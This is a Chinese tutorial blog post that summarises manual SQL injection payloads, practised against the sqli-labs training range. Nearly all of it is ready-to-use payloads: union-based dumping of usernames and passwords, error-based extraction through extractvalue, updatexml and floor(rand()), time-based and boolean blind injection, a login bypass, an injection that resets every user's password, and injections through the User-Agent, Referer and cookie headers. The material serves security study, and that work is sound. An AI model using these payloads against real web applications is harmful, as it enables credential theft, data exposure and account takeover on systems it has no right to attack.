前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >手工sql注入的总结

手工sql注入的总结

作者头像
网e渗透安全部
发布2023-02-25 13:45:04
8670
发布2023-02-25 13:45:04
举报
文章被收录于专栏:白安全组

ps:

整理了一下手工注入的方式,靶场地址

代码语言:javascript
复制
http://www.wangehacker.cn/sqli-labs/

针对手工注入的测试基本流程:

基本流程分为四步走

首先我们需要查询数据库名

代码语言:javascript
复制
http://www.wangehacker.cn/sqli-labs/Less-4/?id=-1") union select 1,database(),3 --+

然后是查询表名

代码语言:javascript
复制
id=-1' union select 1,table_name,3 from information_schema.tables where table_schema='security' limit 0,1 --+

第三步查询列名

代码语言:javascript
复制
id=-1' union select 1,column_name,3 from information_schema.columns where table_schema='security' and table_name='users' limit 0,1 --+

最后一步爆列的具体内容

代码语言:javascript
复制
id=-1' union select 1,group_concat(username,password),3 from users --+

针对手工注入的报错注入:

下面的基本上都是按照四步走方式

爆出库名

代码语言:javascript
复制
index.php?id=2' AND (select 1 from (select count(*),concat(0x3a,0x3a,(database()),0x3a,0x3a,floor(rand()*2))a from information_schema.tables group by a)b) --+

爆出表名

代码语言:javascript
复制
index.php?id=2' AND (select 1 from (select count(*),concat(0x3a,0x3a,(select table_name from information_schema.tables where table_schema='security' limit 0,1),0x3a,0x3a,floor(rand()*2))a from information_schema.tables group by a)b) --+

----------

报错注入建议使用下面的两种(我这里推荐第二种)

简单高效:

代码语言:javascript
复制
' and extractvalue(1,concat(0x7e,(database()),0x7e)) --+
代码语言:javascript
复制
' and updatexml(1,concat(0x7e,(database()),0x7e),1) --+

针对手工注入的时间盲注:

代码语言:javascript
复制
http://www.wangehacker.cn/sqli-labs/Less-9/?id=1' and if((select (substr(database(),1,1))="s") ,sleep(5), null)--+

时间盲注主要涉及三个函数,if、substr、sleep,有的时候可根据情况加上ascii进行编码猜解。

验证方式使用下面的

代码语言:javascript
复制
id=2' and sleep(5) --+

说明可以睡觉

同样我们使用四步走流程

第一步猜解库名,这里知道了所以直接猜解,否则需使用substr截取一个个

字母猜解,这里实战直接上工具就好。

代码语言:javascript
复制
id=2' and if((select database())="security",sleep(5),null) --+

第二步

代码语言:javascript
复制
id=2' and if((select substr(table_name,1,1) from information_schema.tables where table_schema=database() limit 0,1)='e',sleep(5),null) --+

布尔型注入:

代码语言:javascript
复制
?id=2' and 0 --+
?id=2' and 1<2 --+

判断一下后面是否可以夹带私货

小知识:

代码语言:javascript
复制
select length(database());

取出数据库库名,并且判断有几个字

代码语言:javascript
复制
select substr(database(),1,1);

截取数据库库名,从第1个字开始截取,截取1个

代码语言:javascript
复制
select ascii(substr(database(),1,1));

截取出来的字,使用ascii码编码

代码语言:javascript
复制
select ascii(substr(database(),1,1)) < 100;

实战:

代码语言:javascript
复制
id=1' and (select ascii(substr(database(),1,1))) < 115 --+

走四步走流程

代码语言:javascript
复制
id=1' and (select ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))) < 115 --+

手工注入post盲注:

方法1:

这里的几个都是直接在源码中执行的语句猜测,需要稍作修改才能用到实战中。

代码语言:javascript
复制
select username,password from table1 where username='$u' and password='$p' limit 0,1;
代码语言:javascript
复制
select username,password from table1 where username=' ' or 1=1 # ' and password='123' limit 0,1;
代码语言:javascript
复制
select username,password from table1 where username=' ' or 1=1 
代码语言:javascript
复制
select username,password from table1 where username=' ' union select 1,2 #  ' and password='$p' limit 0,1;

方法2:

burp

抓包之后,send to repater

这里的注入点在post数据的用户名后面

代码语言:javascript
复制
uname=' union select 1,database() #&passwd=123&submit=Submit

=====================

post盲注

猜闭合方式

代码语言:javascript
复制
' or 1=1 #

用户名和密码都写!!!!

代码语言:javascript
复制
' or '1' = '1

时间盲注猜测:

代码语言:javascript
复制
select username,password from table1 where username='' or '1'='1
' and password='' or '1'='1' limit 0,1;

其实这里和上面的时间盲注基本没区别,就是加了一个ascii编码,具体可以百度ascii编码表对比。

代码语言:javascript
复制
admin' and if(ascii(substr(database(),1,1))=115,sleep(5),null) #

less-17修改密码,密码重置漏洞

(本题危害比较大)

代码语言:javascript
复制
update users set password='$p' where username='$u'

我们这里需要先输入用户名

代码语言:javascript
复制
admin

然后提交拦截之后在password值后面输入下面的参数

代码语言:javascript
复制
' or 1=1 #

会把数据库所有密码都改为1

less-18开始http头注入

这里是从user-agent开始注入的

网站源码数据库语句猜测

代码语言:javascript
复制
insert into 'security'.'某个表'(uagent,ipadd,username) values('浏览器信息','ip地址','用户名')

使用\ 判断单引号闭合,我们根据报错回显可以选择使用报错注入

代码语言:javascript
复制
' and extractvalue(1,concat(0x7e,(select database()),0x7e)) and '1'='1

网站源码的语句猜测:

代码语言:javascript
复制
insert into 'security'.'某个表'(uagent,ipadd,username) values('' and extractvalue(1,concat(0x7e,(select database()),0x7e)) and '1'='1','ip地址','用户名')

less-19referer注入:

这里步骤和上面差不多,区别几乎没有,只不过换成了referer数据头,换汤不换药,从右腿换左腿受伤了。

代码语言:javascript
复制
' and updatexml(1,concat(0x7e,(database()),0x7e),1) and 'or 1=1

less-20 cookie注入:

这里的注入其实就是换到了cookie这个地方,和上面语句上区别不大,按四步走策略就可以。

代码语言:javascript
复制
'and updatexml(1,concat(0x7e,(database()),0x7e),1)#

less-21cookie注入:

和20题没任何区别,就是需要base64编码,还有闭合方式变了,记得等于号后面都需要编码就行。

代码语言:javascript
复制
admin')and updatexml(1,concat(0x7e,(database()),0x7e),1) #加密成base64

less-22cookie注入:

又是一个一模一样的题目,就是闭合方式变一下,然后编码发送过去就可以了

代码语言:javascript
复制
admin7"and updatexml(1,concat(0x7e,(database()),0x7e),1)#  

同样转成base64

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2023-01-04,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 白安全组 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
相关产品与服务
数据库
云数据库为企业提供了完善的关系型数据库、非关系型数据库、分析型数据库和数据库生态工具。您可以通过产品选择和组合搭建,轻松实现高可靠、高可用性、高性能等数据库需求。云数据库服务也可大幅减少您的运维工作量,更专注于业务发展,让企业一站式享受数据上云及分布式架构的技术红利!
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档